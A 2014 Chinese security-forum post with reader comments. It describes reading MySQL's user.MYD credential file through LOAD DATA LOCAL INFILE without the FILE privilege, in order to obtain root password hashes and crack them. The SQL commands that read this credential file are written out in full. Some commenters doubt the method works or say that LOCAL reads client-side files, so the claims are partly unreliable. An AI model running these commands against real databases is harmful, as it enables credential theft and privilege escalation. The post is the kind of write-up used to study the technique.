Mysql漏洞利用(越权,实战怎么从低权限拿到root密码)

cnrstar (Be My Personal Best!) | 2014-05-20 21:58

众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:

LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';

后来我就一直想怎么利用这个问题。一个可行的思路如下:

我们去读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash,我们只要读取到这个文件,就差不多读取到了root的密码。

于是本地测试,注意,我当前连接的用户test是没有File权限的:

本地测试,注意,我当前连接的用户test是没有File权限的

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';

然后

select * from test2;

select * from test2;

发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件

用winhex打开一下user.myd文件

OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法绕过这个限制。

经过几次尝试发现,在后面加上LINES TERMINATED BY '\0' 即可,这样子就把截断符号作为分隔符处理了,完整的语句:

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '\0';

效果:

效果

OK,完成!

[原文地址]

各种讨论:

1#

pangshenjie (whoami) | 2014-05-20 22:08

赞,给力

2#

漂流瓶 (http://cmd5.cc/) | 2014-05-20 22:10

你这么屌 甲骨文知道吗

3#

Mody | 2014-05-20 22:16

mark,貌似LOAD DATA LOCAL INFILE也是有限制的

4#

园长 (乱码你好,乱码再见。) | 2014-05-20 22:25

楼主可以参考下:Mysql 低权限账号读取文件 和这篇文章:load data file使用详解 我测试的时候TERMINATED用的是换行符嘛。

5#

cnrstar (Be My Personal Best!) | 2014-05-20 22:26

@园长 就是参考着测试的唉~

6#

cnrstar (Be My Personal Best!) | 2014-05-20 22:28

@园长 不过刚开始确实被那个00截断给郁闷了,然后看了下load data file的语法成功了。

7#

ghy459 (深挖洞,广积shell。) | 2014-05-20 22:36

为何如此diao

8#

Spy4man (linux fans, 无知无畏者) | 2014-05-20 22:37

我是来给大牛捧场的~.~

9#

cnrstar (Be My Personal Best!) | 2014-05-20 22:37

@ghy459 富帅,球0day

10#

t00000by57 (no exploit) | 2014-05-20 22:42

LOAD DATA LOCAL INFILE 不是读取的本地文件吗

实战中 能用来绕过open_basedir就不错了 实际上好像也不行

总之 感觉 很鸡肋的一个东西

11#

Xiao_C | 2014-05-20 22:59

丁丁更健康

12#

cnrstar (Be My Personal Best!) | 2014-05-20 23:02

@t00000by57 open_basedir是php的配置吧,这个绕不绕得过,我感觉读文件依赖mysql的权限,应该跟php的配置没关系吧。

这个说鸡肋也鸡肋,说不鸡肋也很有用,看自己用法吧。

13#

炯炯虾 | 2014-05-20 23:07

这个zone以前发过几篇国外技巧的文章里面有

14#

loopx9 | 2014-05-20 23:14

语句应该去掉local吧,不然读取的是客户端的文件

15#

pangshenjie (whoami) | 2014-05-20 23:17

@ghy459 富帅,球0day

16#

luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-05-21 00:40

我特码的今天竟然记错了这个函数。。

17#

by小星星 | 2014-05-21 01:20

我是来给大牛捧场的~.~

18#

feng | 2014-05-21 09:44

表示 直接 LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by ''; 就成功了

19#

Gavin | 2014-05-21 10:50

路径可以结合SHOW VARIABLES LIKE "%plugin_dir%" 获取

20#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-05-21 11:26

屌炸天!

21#

Xeyes (无个性,不签名.) | 2014-05-21 11:29

mark~~~

留言评论(旧系统):

佚名 @ 2014-05-22 10:56:24

看到的也是PASSWORD()后的密文啊,有啥用呢,请指点!

本站回复:

可以有几率破解出明文,然后就是root权限了……

佚名 @ 2014-05-22 17:38:55

LOAD DATA LOCAL INFILE 这是读文件,要是写文件也有类似的权限漏洞就爽歪歪!可惜对应的 INTO OUTFILE 需要服务器FILE权限。

本站回复:

有写的就爽歪歪了~

xx @ 2014-05-30 12:53:20

扯淡呢? 能读只能证明本身有权限 本身没权限能读? 估计测试者修改file权限 容纳后flush privileges; 后就能 into outfile 了吧.. 所谓的白帽子云云..一直都很水...

本站回复:

-_-|||

佚名 @ 2015-12-21 10:00:51

如是获得了加密后的root用户的密码,那么又要如何去解密呢 ?

本站回复:

www.cmd5.com